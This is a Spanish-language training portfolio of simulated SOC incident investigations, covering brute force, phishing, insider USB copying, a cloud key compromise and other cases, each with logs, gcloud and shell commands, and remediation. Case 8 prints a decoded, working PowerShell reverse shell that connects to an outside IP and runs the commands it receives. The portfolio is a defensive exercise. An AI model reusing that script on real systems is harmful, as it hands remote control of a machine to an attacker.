En este documento se muestran casos de ciberseguridad no reales con su analisis y resolucion, con el objetivo de demostrar conocimiento en el ambito practico. estos casos fueron hechos con claude los cuales fui resolviendo

CASO 1: Acceso sospechoso a una cuenta de administrador

Nota: práctica teórica y de razonamiento — comandos y logs simulados con fines de aprendizaje, no ejecutados en un entorno real.

Contexto: Analista SOC junior en una pyme que usa Google Workspace + GCP. Lunes a la mañana.

Alerta recibida: La cuenta `admin@empresa-ficticia.com` tuvo un inicio de sesión exitoso a las 03:47 AM (fuera de horario laboral), precedido por 4 intentos fallidos en los 10 minutos previos.

Investigación

1. Verificación de la cuenta y patrón de acceso

bash
```
gcloud logging read '
  protoPayload.authenticationInfo.principalEmail="admin@empresa-ficticia.com"
  AND timestamp>="2026-09-01T00:00:00Z"
' --format=json --order=asc
```

Resultado: 4 intentos de login fallidos + 1 exitoso, todos desde la IP `185.220.101.47` (nodo de salida de red Tor), en un intervalo regular de ~1-2 minutos — patrón consistente con ataque de fuerza bruta automatizado, no con error humano.

2. Revisión de actividad posterior al login exitoso

bash
```
gcloud logging read '
  protoPayload.authenticationInfo.principalEmail="admin@empresa-ficticia.com"
  AND timestamp>="2026-09-01T03:47:22Z"
' --format=json --order=asc
```

Resultado: el atacante otorgó rol de **Owner** a una cuenta externa (`atacante.externo@gmail.com`) y accedió/descargó un archivo con datos de nómina de empleados (`nominas_2026.xlsx`).

Informe de incidente

Vector: Ataque de fuerza bruta contra cuenta de administrador sin MFA habilitado, originado desde red Tor (03:41–03:47 AM).

Impacto: Escalación de privilegios (rol Owner otorgado a cuenta externa no autorizada) y exfiltración de archivo con datos personales de empleados (nómina).

Remediación aplicada:

- Suspensión inmediata de la cuenta comprometida.
- Revocación de todas las sesiones activas y tokens asociados.
- Revocación del rol Owner ilegítimo:

bash
```
gcloud projects remove-iam-policy-binding empresa-ficticia \
  --member="user:atacante.externo@gmail.com" \
  --role="roles/owner"
```

- Reseteo de contraseña de la cuenta afectada.
- Activación de MFA (autenticación multifactor) para prevenir recurrencia.
- Bloqueo de la IP de origen como medida secundaria.
- Notificación a Legal/Compliance, RR.HH. y empleados afectados por la exposición de datos de nómina.

Framework de referencia: MITRE ATT&CK — T1110 (Brute Force), T1078.004 (Valid Accounts: Cloud Accounts).

CASO 2: Correo de phishing con posible compromiso de endpoint

Nota: práctica teórica y de razonamiento — comandos y logs simulados con fines de aprendizaje, no ejecutados en un entorno real.

Contexto: Analista SOC junior en una pyme que usa Google Workspace + GCP. Miércoles a media mañana.

Alerta recibida: Un empleado del área de Contabilidad reporta haber abierto, hace 20 minutos, un archivo adjunto de un correo que parecía una factura de un proveedor habitual. Tras abrirlo, su computadora empezó a andar con lentitud y Windows Defender mostró una alerta que cerró sin leer con atención.

Tarea: determinar si hubo compromiso real del equipo, qué tipo de amenaza es, y qué acciones tomar.

Análisis

1. Contención temprana del endpoint

Antes de analizar cualquier dato, se procede a **aislar el equipo de la red** (desconexión de red/Wi-Fi o vía consola del EDR), evitando propagación lateral hacia otras máquinas. Importante: **no apagar el equipo**, para preservar evidencia en memoria RAM (procesos maliciosos activos, conexiones abiertas).

2. Información recabada del empleado

- Dirección de correo del remitente y contenido del mensaje.
- Formato y nombre del archivo adjunto.
- Si habilitó macros o algún permiso especial al abrirlo.
- Si ingresó credenciales en algún sitio al que lo haya redirigido el correo.
- Se solicita conservar el correo original, sin eliminarlo (evidencia).

3. Revisión de actividad del endpoint (logs del EDR)


```
json
[
  {"timestamp": "2026-09-03T10:15:02Z", "event": "process_created", "process": "factura_0847.exe", "parent_process": "outlook.exe", "user": "jgonzalez"},
  {"timestamp": "2026-09-03T10:15:04Z", "event": "process_created", "process": "powershell.exe", "parent_process": "factura_0847.exe", "command_line": "powershell -enc JABzAD0ATgBlAHcALQBP..."},
  {"timestamp": "2026-09-03T10:15:09Z", "event": "network_connection", "process": "powershell.exe", "destination_ip": "91.203.145.12", "destination_port": 4444, "protocol": "TCP"},
  {"timestamp": "2026-09-03T10:15:11Z", "event": "defender_alert", "alert": "Behavior:Win32/Suspicious.EncodedCommand", "action_taken": "blocked_partial", "status": "user_dismissed_notification"}
]
```


Lectura del log:

- `factura_0847.exe` (disfrazado de documento) ejecutó `powershell.exe` — comportamiento anómalo para un archivo de "factura".
- El comando de PowerShell usó el flag `-enc` (codificado en Base64), técnica típica para ocultar su contenido real y evadir antivirus basados en firmas de texto.
- PowerShell abrió una conexión saliente hacia una IP externa por el **puerto 4444**, puerto clásico de herramientas de post-explotación (Metasploit/Cobalt Strike) para **reverse shell** — el equipo comprometido "llama" al atacante en vez de que el atacante entre directamente, evadiendo así firewalls perimetrales.

Conclusión técnica: no se trata solo de phishing (vector de entrega); el adjunto actuó como **dropper/loader** que estableció una **reverse shell**, dándole al atacante una vía de control remoto activo sobre el equipo.

Informe de incidente

Vector: Phishing por correo electrónico con archivo adjunto malicioso (`factura_0847.exe`) disfrazado de factura de proveedor. Al ejecutarse, lanzó PowerShell con comando codificado en Base64, estableciendo una conexión reverse shell hacia una IP externa (91.203.145.12:4444).

Impacto: Compromiso del endpoint del empleado de Contabilidad con posible control remoto activo por parte del atacante. Impacto contenido antes de confirmar exfiltración de datos o movimiento lateral, gracias a la detección temprana por el propio usuario y el aislamiento oportuno del equipo.

Remediación aplicada:

- Aislamiento de red del equipo afectado (sin apagarlo, para preservar evidencia en memoria).
- Bloqueo de IP y puerto de C2 (Command & Control) a nivel de firewall perimetral: `91.203.145.12:4444`.
- Revisión de logs en busca de movimiento lateral hacia otros equipos de la red interna.
- Preservación del archivo malicioso y el correo original como evidencia.
- Capacitación/concientización al empleado y al resto del equipo sobre identificación de phishing.
- Documentación del caso e IOCs (indicadores de compromiso) en el playbook del equipo para referencia futura.

Framework de referencia: MITRE ATT&CK — T1566.001 (Phishing: Spearphishing Attachment), T1059.001 (Command and Scripting Interpreter: PowerShell), T1071 (Application Layer Protocol / C2)

CASO 4: Alerta de acceso público no autorizado detectada por Wazuh

Nota: práctica teórica y de razonamiento — comandos y logs simulados con fines de aprendizaje, no ejecutados en un entorno real.

Contexto: Analista SOC junior en una pyme. Wazuh, configurado para monitorear la infraestructura de la empresa, generó una alerta de severidad alta.

Alerta recibida (panel de Wazuh): Regla disparada: *"File permissions changed to world-readable"* — se detectó un cambio de permisos en el directorio `/srv/clientes-docs/` del servidor de archivos Linux, otorgando lectura a **todos los usuarios del sistema** (`chmod` con permisos `o+r` aplicado recursivamente). Evento ocurrido a las 09:14 AM.

Tarea: determinar si fue un cambio legítimo o un error/ataque, desde cuándo está así, y corregirlo.

Análisis

1. Verificación de permisos actuales

bash
ls -la /srv/clientes-docs/

Confirma lo reportado por Wazuh: la tríada de permisos "otros" muestra `r` (lectura pública), cuando debería estar restringida solo al grupo/usuario correspondiente.

2. Corrección del permiso

bash
chmod -R o-r /srv/clientes-docs/

`-R` aplica el cambio recursivamente a todo el contenido de la carpeta; `o-r` quita el permiso de lectura al grupo "otros" (usuarios sin autorización), revirtiendo la exposición.

3. Investigación de quién y cuándo — logs de auditoría (`auditd`)

`ls -la` solo muestra el estado actual de los permisos, no quién hizo el cambio ni cuándo. Para eso se recurre a `auditd`, el sistema de auditoría de Linux que registra comandos ejecutados por usuario:

bash
ausearch -f /srv/clientes-docs -ts today

Resultado simulado:

type=PATH msg=audit(1725433640.123): item=0 name="/srv/clientes-docs"
type=SYSCALL msg=audit(1725433640.123): syscall=chmod success=yes exit=0
  a0=... a1=0755 auid=1003 uid=1003 gid=1003
  comm="chmod" exe="/usr/bin/chmod"
type=USER_LOGIN msg=audit(1725433640.100): auid=1003 pid=8821

`auid=1003` identifica al usuario real que ejecutó el comando (audit user id, no falseable fácilmente). Se cruza con:

bash
id 1003

resultando en el usuario `mgarcia`, del área de Sistemas, con acceso dentro de su horario laboral habitual (09:14 AM). No se detectan señales de compromiso: sin acceso externo, sin credenciales robadas, sin herramientas maliciosas.

Informe — Security Finding (No incidente de seguridad)

Hallazgo: El día del evento, a las 09:14 AM (horario laboral habitual), Wazuh detectó un cambio de permisos en `/srv/clientes-docs/`, otorgando lectura pública (`o+r`) a todos los usuarios del sistema.

Investigación: Mediante `auditd` (`ausearch`) se identificó que el cambio fue ejecutado por el usuario `mgarcia` (UID 1003), del área de Sistemas, dentro de su horario habitual de trabajo. No se detectaron señales de compromiso.

Clasificación: No se confirma incidente de seguridad. Se trata de un cambio de configuración realizado por personal autorizado, pendiente de determinar si fue intencional o accidental.

Acciones tomadas:

- Corrección inmediata del permiso (`chmod -R o-r /srv/clientes-docs/`).
- Consulta directa con `mgarcia` para determinar el motivo del cambio (tarea rutinaria mal ejecutada, error de tipeo, o necesidad legítima no comunicada al equipo de seguridad).
- Determinación del tiempo total de exposición (desde las 09:14 AM hasta la corrección) para evaluar si hubo acceso indebido de terceros durante esa ventana.
- Registro del hallazgo como recordatorio de buenas prácticas: cambios de permisos en directorios sensibles deben pasar por revisión o notificación previa al equipo de seguridad.

Nota de clasificación: a diferencia de los Casos 1, 2 y 3 (incidentes con atacante confirmado), este caso se clasifica como *Security Finding* — relevante para mostrar capacidad de distinguir entre incidente real y falso positivo/hallazgo administrativo, evitando "alert fatigue".

CASO 5: Escaneo de red sospechoso detectado por Suricata

Nota: práctica teórica y de razonamiento — comandos y logs simulados con fines de aprendizaje, no ejecutados en un entorno real.

Contexto: Analista SOC junior. Jueves a la tarde. La empresa tiene Suricata (IDS/IPS) monitoreando el tráfico interno de la red.

Alerta recibida (panel de Suricata): Regla disparada: *"ET SCAN Nmap Scripting Engine User-Agent Detected"* + múltiples alertas *"ET SCAN Possible Nmap User-Agent Observed"*. El origen es una IP interna (`10.0.15.88`) que en menos de 3 minutos generó conexiones hacia más de 40 hosts distintos de la red interna, en varios puertos (22, 80, 443, 3389, 445).

Tarea: determinar si se trata de actividad legítima (administrador/pentester autorizado) o de un atacante haciendo reconocimiento interno.

Análisis

1. Por qué el patrón es una señal de alerta

El patrón (40+ hosts, múltiples puertos, en pocos minutos) es la firma característica de una herramienta como Nmap barriendo la red en busca de hosts activos y servicios expuestos (SSH en 22, web en 80/443, RDP en 3389, SMB en 445). Este comportamiento amerita investigación siempre, sea de un pentester autorizado, un administrador o un atacante — la propia actividad de red no permite distinguir la intención, y que ningún sistema haya fallado no descarta que sea malicioso: el objetivo de un escaneo de reconocimiento es recolectar información, no romper nada todavía.

2. Identificación del origen (IP interna)

bash
arp -a | grep 10.0.15.88

Resultado:

? (10.0.15.88) at 3c:52:82:1a:9f:0e [ether] on eth0

La MAC corresponde, según inventario de activos, a la notebook asignada a `jperez`, del área de Redes/Infraestructura.

3. Confirmación de autorización

Se consulta con un superior/equipo de Seguridad (antes que con el propio usuario, para no alertar a un posible atacante) si la actividad estaba planificada. Resultado: no hay ningún

escaneo de red programado esta semana, y `jperez` está de vacaciones desde el lunes — la cuenta/dispositivo está siendo usado sin que su dueño esté presente.

4. Conclusión

Se confirma actividad no autorizada: el dispositivo de `jperez` está siendo utilizado por un tercero para realizar reconocimiento activo de la red interna.

Informe de incidente

Vector: Acceso no autorizado al dispositivo del usuario `jperez` mientras se encontraba de vacaciones, mediante causa aún no confirmada (hipótesis a investigar: robo de credenciales, fuerza bruta o phishing previo). Detectado por Suricata al identificar tráfico compatible con Nmap Scripting Engine.

Impacto: Reconocimiento activo de la red interna — conexiones generadas hacia más de 40 hosts distintos en un lapso de 3 minutos, sobre múltiples puertos (22, 80, 443, 3389, 445), indicando fase de escaneo/reconocimiento previa a una posible explotación.

Remediación aplicada:

- Aislamiento inmediato del dispositivo de `jperez` de la red.
- Suspensión de sus credenciales de acceso.
- Revisión de logs de Suricata/firewall para determinar el alcance completo del escaneo y los hosts potencialmente en riesgo.
- Investigación pendiente del vector inicial de compromiso.

Framework de referencia: MITRE ATT&CK — T1046 (Network Service Discovery), T1078 (Valid Accounts).

CASO 6: Dispositivo USB no autorizado conectado a un puesto de trabajo

Nota: práctica teórica y de razonamiento — comandos y logs simulados con fines de aprendizaje, no ejecutados en un entorno real.

Contexto: Analista SOC junior. Wazuh detecta la conexión de un dispositivo USB no reconocido en la PC de un empleado del área de Finanzas.

Alerta recibida: Host `FIN-PC-07` (usuario: `lrodriguez`). Se conectó un dispositivo USB (`VID_0951&PID_1666`, marca Kingston, no registrado en el inventario de dispositivos autorizados) a las 14:32. Segundos después, se registró actividad de copiado masivo de archivos desde `C:\Finanzas\Reportes\` hacia el dispositivo.

Tarea: determinar si se trata de exfiltración de datos y qué acciones tomar.

Análisis

1. Contención inmediata

Se aísla el equipo `FIN-PC-07` de la red para frenar cualquier otra actividad, y se retiene físicamente el USB como evidencia (sin borrar su contenido).

2. Verificación de autorización

`lrodriguez` es un empleado legítimo de la empresa, por lo que no se sospecha de un atacante externo. Se necesita confirmar si tenía autorización para usar dispositivos USB y si la copia de archivos correspondía a una tarea legítima comunicada previamente (ej. pedido de un superior).

3. Revisión de los archivos copiados (Wazuh — File Integrity Monitoring)

2026-XX-XX 14:32:05 - File copied: C:\Finanzas\Reportes\balance_Q3_2026.xlsx -> E:\
2026-XX-XX 14:32:07 - File copied: C:\Finanzas\Reportes\proyecciones_2027.xlsx -> E:\
2026-XX-XX 14:32:09 - File copied: C:\Finanzas\Reportes\cuentas_bancarias_proveedores.xlsx -> E:\
2026-XX-XX 14:32:11 - File copied: C:\Finanzas\Reportes\salarios_gerencia.xlsx -> E:\

Se confirma la copia de 4 archivos con información sensible: balance, proyecciones financieras, cuentas bancarias de proveedores y salarios de gerencia.

4. Clasificación

Que el actor sea un empleado no convierte el hecho en falso positivo — un falso positivo requiere que no haya sucedido nada real o que la acción esté autorizada. Al no haber autorización confirmada y tratarse de datos sensibles, se clasifica como posible **insider threat** (amenaza interna), pendiente de determinar intención.

Informe de incidente

Vector: Conexión de un dispositivo USB no autorizado (marca Kingston, no registrado en el inventario) en la PC de `lrodriguez`, empleado del área de Finanzas, sin autorización confirmada.

Impacto: Copia de 4 archivos con información sensible (balance, proyecciones, datos de proveedores, salarios de gerencia) hacia el dispositivo externo — posible exfiltración de datos financieros.

Remediación aplicada:

- Aislamiento del equipo de la red.
- Confiscación física del USB como evidencia.
- Entrevista pendiente con el empleado y un superior para determinar si la acción estaba autorizada.
- De confirmarse no autorizada, derivación a Recursos Humanos.

Framework de referencia: MITRE ATT&CK — T1052.001 (Exfiltration over Physical Medium: USB).

CASO 7: Cuenta de administrador de red social corporativa comprometida

Nota: práctica teórica y de razonamiento — comandos y logs simulados con fines de aprendizaje, no ejecutados en un entorno real.

Contexto: Analista SOC junior. La empresa maneja sus redes sociales desde una cuenta compartida de X (Twitter) del área de Marketing. Un martes a la mañana, el equipo de Marketing reporta que la cuenta publicó un tweet promocionando una falsa "preventa de criptomonedas" que nadie del equipo escribió, y que además se cambió el correo de recuperación de la cuenta.

Tarea: determinar qué pasó y cómo recuperar el control de la cuenta.

Análisis

1. Fuente de información

Al ser una cuenta en una plataforma externa (SaaS), no hay logs de servidor propios. La investigación se hace desde el panel de seguridad de la propia plataforma (historial de inicio de sesión, sesiones activas, aplicaciones de terceros conectadas).

2. Revisión de sesiones activas

Sesión activa: iOS App - iniciada 03:14 AM desde Lagos, Nigeria
Sesión activa: Web (Chrome) - iniciada 09:00 AM desde Mendoza, Argentina (equipo Marketing, normal)

La combinación de ubicación inusual (Nigeria) y horario fuera del patrón habitual del equipo (3 AM, cuando Marketing opera desde Mendoza en horario diurno) es una señal fuerte de acceso no autorizado — a confirmar consultando si alguien del equipo estaba usando VPN por trabajo remoto a esa hora, cosa poco probable dado el horario.

3. Priorización de la respuesta

Antes de cambiar contraseña o correo, se revisan y cierran las sesiones activas no reconocidas y se revocan aplicaciones de terceros conectadas — de lo contrario, el atacante podría conservar acceso (por sesión abierta o integración API) aunque se cambien las credenciales.

Informe de incidente

Vector: Acceso no autorizado a la cuenta corporativa de X (Twitter), evidenciado por una sesión activa desde Nigeria a las 03:14 AM — horario y ubicación fuera del patrón habitual del equipo de Marketing (Mendoza). Causa de acceso aún no confirmada (hipótesis: credenciales robadas, fuerza bruta o phishing).

Impacto: Publicación no autorizada promocionando una falsa preventa de criptomonedas, y cambio del correo de recuperación de la cuenta — riesgo reputacional y posible exposición de seguidores a fraude.

Remediación aplicada:

- Revisión del panel de sesiones activas y aplicaciones de terceros conectadas a la cuenta.
- Cierre de todas las sesiones activas no reconocidas.
- Cambio de contraseña y restitución del correo de recuperación legítimo.

Framework de referencia: MITRE ATT&CK — T1586 (Compromise Accounts), T1098 (Account Manipulation).

CASO 8: Alerta de PowerShell ofuscado ejecutado vía tarea programada

Nota: práctica teórica y de razonamiento — comandos y logs simulados con fines de aprendizaje, no ejecutados en un entorno real.

Contexto: Analista SOC junior. Wazuh dispara una alerta en `HR-PC-03` (PC de un empleado de RR.HH.) un jueves a las 6 AM, con la oficina vacía.

Alerta recibida: Se creó una nueva tarea programada llamada `WindowsUpdateCheck` que ejecuta PowerShell con el flag `-WindowStyle Hidden` cada 30 minutos. El script contiene una cadena larga en Base64.

Tarea: determinar qué está pasando y qué acciones tomar.

Análisis

1. Identificación de las señales

El nombre de la tarea (`WindowsUpdateCheck`) imita una actualización legítima de Windows — técnica de masquerading. El flag `-WindowStyle Hidden` oculta la ventana de ejecución para que el usuario no la note. La repetición cada 30 minutos no busca "pasar desapercibido" (eso ya lo cubre el flag oculto), sino garantizar persistencia: el atacante se asegura de recuperar acceso aunque el proceso se cierre o el equipo se reinicie.

2. Contención

Se aísla el equipo de la red. Antes de eliminar la tarea programada, se decodifica el script en Base64 para entender el objetivo del atacante — eliminarla sin revisarla primero implicaría perder evidencia de lo que realmente hizo.

powershell

```
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64S
tring("JABzAD0ATgBlAHcALQBP..."))
```

Resultado simulado (script decodificado):

powershell

```
$s = New-Object Net.Sockets.TCPClient('185.199.44.21', 8080)
$stream = $s.GetStream()
[byte[]]$bytes = 0..65535 | %{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i)
  $sendback = (iex $data 2>&1 | Out-String)
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
```

```
  $stream.Write($sendbyte,0,$sendbyte.Length)
}
```

Confirma un reverse shell en PowerShell puro ("living off the land", sin depender de ejecutables externos): se conecta a `185.199.44.21:8080`, recibe comandos del atacante, los ejecuta con `iex` (Invoke-Expression) y devuelve el resultado.

3. Eliminación de la tarea

powershell

```powershell
Get-ScheduledTask -TaskName "WindowsUpdateCheck"
Unregister-ScheduledTask -TaskName "WindowsUpdateCheck" -Confirm:$false
```

Informe de incidente

Vector: Tarea programada maliciosa (`WindowsUpdateCheck`) creada en la PC de un empleado de RR.HH. a las 6 AM, ejecutando un script de PowerShell oculto (`-WindowStyle Hidden`) cada 30 minutos.

Impacto: Reverse shell activo en PowerShell, dando al atacante control remoto y ejecución de comandos sobre el equipo. La ejecución periódica (cada 30 minutos) garantizaba persistencia del acceso.

Remediación aplicada:

- Aislamiento del equipo de la red.
- Decodificación del script en Base64 para confirmar el objetivo del atacante antes de actuar.
- Eliminación de la tarea programada maliciosa.
- Reinstalación/verificación de integridad del sistema por posible malware adicional.

Framework de referencia: MITRE ATT&CK — T1053.005 (Scheduled Task/Job), T1059.001 (PowerShell), T1071 (Application Layer Protocol / C2).

CASO 9: Formulario de login vulnerable detectado en pentest

Nota: práctica teórica y de razonamiento — comandos y resultados simulados con fines de aprendizaje, no ejecutados en un entorno real.

Rol: Pentester (evaluador de seguridad autorizado), realizando una prueba de penetración programada sobre la aplicación web interna de RR.HH., usando Burp Suite.

Contexto: Interceptando el tráfico del formulario de login, se detecta que la respuesta del servidor varía en tiempo según el usuario ingresado, incluso antes de validar la contraseña:

- Usuario inexistente (`asdf123`): respuesta en ~120ms, con mensaje `"Usuario o contraseña incorrectos"`.
- Usuario existente (`jperez`): respuesta en ~800ms, con el mismo mensaje genérico.

Tarea: identificar la vulnerabilidad y su riesgo.

Análisis

1. Origen de la diferencia de tiempo

Con un usuario inexistente, el sistema corta la validación apenas no encuentra el usuario en la base de datos. Con un usuario real (`jperez`), el sistema continúa el proceso e intenta verificar la contraseña (típicamente mediante cálculo de hash), lo que toma más tiempo — de ahí la demora adicional.

2. Por qué es un problema de seguridad

Aunque el mensaje de error es idéntico en ambos casos (genérico, como debería ser), la diferencia de *tiempo* de respuesta filtra información: permite distinguir usuarios válidos de inválidos sin que el mensaje lo revele. Esto se conoce como **timing attack** (enumeración de usuarios por tiempo de respuesta).

3. Confirmación sistemática con Burp Suite

Se usa **Burp Intruder**, cargando una lista de usuarios (reales e inventados) para automatizar el envío de intentos de login y registrar el tiempo de respuesta de cada uno, confirmando el patrón a escala en vez de con solo dos casos aislados.

Informe de hallazgo (pentest)

Vector: Vulnerabilidad de timing attack detectada en el endpoint de login de la aplicación web de RR.HH. mediante pentest con Burp Suite — usuarios inexistentes reciben respuesta

en ~120ms, usuarios existentes (`jperez`) en ~800ms, pese a mostrar el mismo mensaje de error genérico.

Impacto: Permite a un atacante enumerar usuarios válidos del sistema sin necesitar acertar contraseñas, facilitando un ataque de fuerza bruta dirigido solo a cuentas confirmadas como reales — reduce significativamente el esfuerzo necesario para comprometer cuentas.

Remediación recomendada:

- Implementar tiempo de respuesta constante en el endpoint de login (ej. ejecutar una verificación de hash "dummy" incluso cuando el usuario no existe), para eliminar la diferencia de tiempo entre intentos válidos e inválidos.
- Recomendación reportada al equipo de desarrollo para corrección antes de la siguiente evaluación.

Framework de referencia: OWASP Top 10 — A07:2021 Identification and Authentication Failures; MITRE ATT&CK — T1589.002 (Gather Victim Identity Information).

CASO 10: Vulnerabilidad crítica detectada en escaneo de rutina

Nota: práctica teórica y de razonamiento — resultados simulados con fines de aprendizaje, no ejecutados en un entorno real.

Rol: Analista de gestión de vulnerabilidades, corriendo un escaneo mensual programado sobre los servidores Linux de la empresa.

Contexto: El escaneo reporta que `APP-SRV09` (backend de un portal de clientes, expuesto a internet) corre una versión desactualizada de Apache Struts con una vulnerabilidad crítica conocida.

Resultado del escaneo:

Host: APP-SRV09 (10.20.5.12)
Service: Apache Struts 2.3.31
Vulnerability: CVE-2017-5638
Severity: CRITICAL (CVSS 9.8)
Exploitable: Yes (public exploit available)

Tarea: priorizar y gestionar esta vulnerabilidad.

Análisis

1. Factores de priorización

Más allá de la severidad (CVSS 9.8), la urgencia se define combinando: **exposición** (el servidor da a internet, no es de uso interno), **disponibilidad de exploit público** (cualquiera puede usarlo sin ser experto) y **criticidad del sistema para el negocio** (es el backend del portal de clientes, no un entorno de prueba).

2. Verificación de explotación previa

Se revisa el playbook de la empresa por si el incidente ya fue documentado en el pasado. Si no hay registro previo, se buscan directamente en logs de Apache/WAF/IDS patrones de tráfico conocidos que coincidan con el exploit público de este CVE, consultando la ficha oficial del CVE para identificar esos patrones.

3. Balance entre seguridad y continuidad del negocio

En vez de optar directamente por downtime, se evalúa una mitigación temporal que no baje el servicio: una regla de WAF que bloquee específicamente el patrón de explotación del CVE, mientras se coordina una ventana de mantenimiento de bajo tráfico para aplicar el parche definitivo.

Informe de hallazgo

Vector: Escaneo mensual de vulnerabilidades detectó en `APP-SRV09` (backend del portal de clientes) una versión desactualizada de Apache Struts (2.3.31) con vulnerabilidad crítica conocida (CVE-2017-5638, CVSS 9.8), que permite ejecución remota de código sin autenticación, con exploit público disponible.

Impacto: Riesgo de toma de control remoto del servidor y acceso no autorizado a datos de clientes, dado que el sistema está expuesto directamente a internet.

Remediación aplicada:

- Aplicación de regla de WAF para bloquear el patrón de explotación conocido del CVE, mitigando el riesgo sin downtime.
- Revisión de logs históricos y del playbook para descartar explotación previa.
- Coordinación de ventana de mantenimiento para actualizar Apache Struts a una versión sin la vulnerabilidad.

Framework de referencia: MITRE ATT&CK — T1190 (Exploit Public-Facing Application); OWASP Top 10 — A06:2021 Vulnerable and Outdated Components.

CASO 11: Cuenta de servicio con permisos excesivos y clave comprometida en GCP

Nota: práctica teórica y de razonamiento — comandos y resultados simulados con fines de aprendizaje, no ejecutados en un entorno real.

Rol: Ingeniero de seguridad en la nube, revisando los hallazgos mensuales de Security Command Center (SCC) en el proyecto de GCP de la empresa.

Contexto: La empresa tiene su aplicación y su servidor de integración continua (Jenkins, programa que automatiza el despliegue de aplicaciones) en GCP. Jenkins usa una cuenta de servicio para desplegar la app, autenticándose con una clave JSON.

Alerta recibida:

Finding: Service account has Editor role
Resource: jenkins-deploy@empresa-prod.iam.gserviceaccount.com
Role: roles/editor (nivel proyecto)
Key: clave creada por el usuario hace 14 meses, nunca rotada

El equipo de DevOps explica que le dieron Editor “para que no diera errores de permisos” y que la clave JSON está guardada como credencial dentro de Jenkins.

Tarea: evaluar el riesgo, revisar si hubo uso sospechoso y proponer la corrección.

Análisis

1. Evaluación del riesgo

Jenkins solo necesita desplegar la aplicación, pero con el rol Editor puede además crear o borrar máquinas virtuales, buckets y bases de datos de todo el proyecto. Esto viola el **principio de menor privilegio**: una cuenta debe tener solo los permisos que necesita. Además, la clave tiene 14 meses sin rotar, no vence y se puede usar desde cualquier lugar; está guardada en Jenkins, que concentra credenciales y es un blanco frecuente. Una rotación habitual es cada 90 días o menos.

2. Revisión de actividad en Cloud Audit Logs

bash
gcloud logging read 'protoPayload.authenticationInfo.principalEmail="jenkins-deploy@empresa-prod.iam.gserviceaccount.com"' --freshness=30d --format="table(timestamp, protoPayload.methodName, protoPayload.requestMetadata.callerIp)"

Resultado simulado (fragmento):

TIMESTAMP METHOD_NAME CALLER_IP

2026-10-12T14:05:10Z v1.compute.instances.insert 34.72.15.20
2026-10-12T14:05:48Z storage.objects.create 34.72.15.20
2026-10-13T16:30:02Z v1.compute.instances.insert 34.72.15.20
2026-10-14T03:12:44Z storage.buckets.list 198.51.100.77
2026-10-14T03:14:02Z storage.objects.get 198.51.100.77
2026-10-14T03:20:31Z v1.compute.instances.insert 198.51.100.77

Las primeras filas (`instances.insert` desde `34.72.15.20`, en horario de tarde) son el comportamiento normal de Jenkins. Las tres últimas se diferencian en la IP (`198.51.100.77`, desconocida), el horario (03:12 AM) y el tipo de acción: listar buckets, leer un objeto y crear una VM es un patrón de reconocimiento. La cuenta es la misma, pero quien la usa no es Jenkins: **la clave quedó comprometida**.

3. Búsqueda de persistencia

Se filtran las acciones típicas de persistencia (crear cuentas y cambiar permisos):

bash
```
gcloud logging read
'protoPayload.authenticationInfo.principalEmail="jenkins-deploy@empresa-prod.iam.gservic
eaccount.com" AND (protoPayload.methodName:"CreateServiceAccount" OR
protoPayload.methodName="SetIamPolicy")' --freshness=30d --format="table(timestamp,
protoPayload.methodName, protoPayload.resourceName,
protoPayload.requestMetadata.callerIp)"
```

Resultado simulado:

TIMESTAMP METHOD_NAME RESOURCE_NAME CALLER_IP
2026-10-14T03:25:12Z google.iam.admin.v1.CreateServiceAccount svc-monitoring-bk@empresa-prod... 198.51.100.77
2026-10-14T03:26:40Z google.iam.admin.v1.CreateServiceAccountKey svc-monitoring-bk@empresa-prod... 198.51.100.77
2026-10-14T03:27:05Z SetIamPolicy projects/empresa-prod 198.51.100.77

El atacante creó una cuenta de servicio nueva (`svc-monitoring-bk`, con un nombre que parece legítimo), le generó una clave y le asignó permisos. Es una puerta trasera propia: aunque se corte la clave de Jenkins, esa cuenta sigue funcionando.

4. Contención

Orden de acciones (primero cortar el acceso, después rotar, porque rotar tarda minutos y el atacante sigue adentro):

bash
```
# Deshabilitar la clave comprometida sin borrarla (queda como evidencia)
gcloud iam service-accounts keys list
--iam-account=jenkins-deploy@empresa-prod.iam.gserviceaccount.com
```

```
gcloud iam service-accounts keys disable KEY_ID
--iam-account=jenkins-deploy@empresa-prod.iam.gserviceaccount.com

# Deshabilitar la cuenta creada por el atacante
gcloud iam service-accounts disable
svc-monitoring-bk@empresa-prod.iam.gserviceaccount.com

# Revisar y quitar los permisos que se le asignaron
gcloud projects get-iam-policy empresa-prod
gcloud projects remove-iam-policy-binding empresa-prod
--member="serviceAccount:svc-monitoring-bk@empresa-prod.iam.gserviceaccount.com"
--role="roles/ROLE_ASIGNADO"
```

Luego se crea una clave nueva para Jenkins, se carga en el servidor y se elimina la anterior. La VM creada a las 03:20 se detiene (no se borra, es evidencia) y se inspecciona qué ejecuta.

Informe de incidente

Vector: Uso no autorizado de la clave JSON de la cuenta de servicio `jenkins-deploy` (rol Editor a nivel proyecto, clave de 14 meses sin rotar) desde una IP externa (`198.51.100.77`). Origen del robo de la clave aún no confirmado.

Impacto: El atacante, a las 03:12 del 14/10, listó buckets, leyó un objeto (contenido a determinar) y creó una VM. Luego creó la cuenta de servicio `svc-monitoring-bk`, le generó una clave y le asignó permisos vía `SetIamPolicy`, dejando acceso persistente aunque se cortara la clave de Jenkins.

Remediación aplicada:

- Deshabilitación de la clave de `jenkins-deploy` y creación de una nueva.
- Deshabilitación de la cuenta `svc-monitoring-bk`, revisión y eliminación de su clave y de los permisos asignados.
- VM detenida y conservada como evidencia.
- Revisión de qué objeto se leyó para evaluar exposición de datos.
- Corrección de fondo: reemplazar Editor por un rol con solo los permisos de despliegue (menor privilegio) y rotar claves cada 90 días o menos.

Framework de referencia: MITRE ATT&CK — T1078.004 (Valid Accounts: Cloud Accounts), T1136.003 (Create Account: Cloud Account), T1098 (Account Manipulation).

CASO 12: Correo sospechoso que dice venir del gerente general

Nota: práctica teórica y de razonamiento. Los encabezados y resultados son simulados con fines de aprendizaje, no corresponden a un entorno real.

Rol: Analista de seguridad de correo electrónico, atendiendo los reportes que llegan al buzón `seguridad@empresa-ficticia.com`.

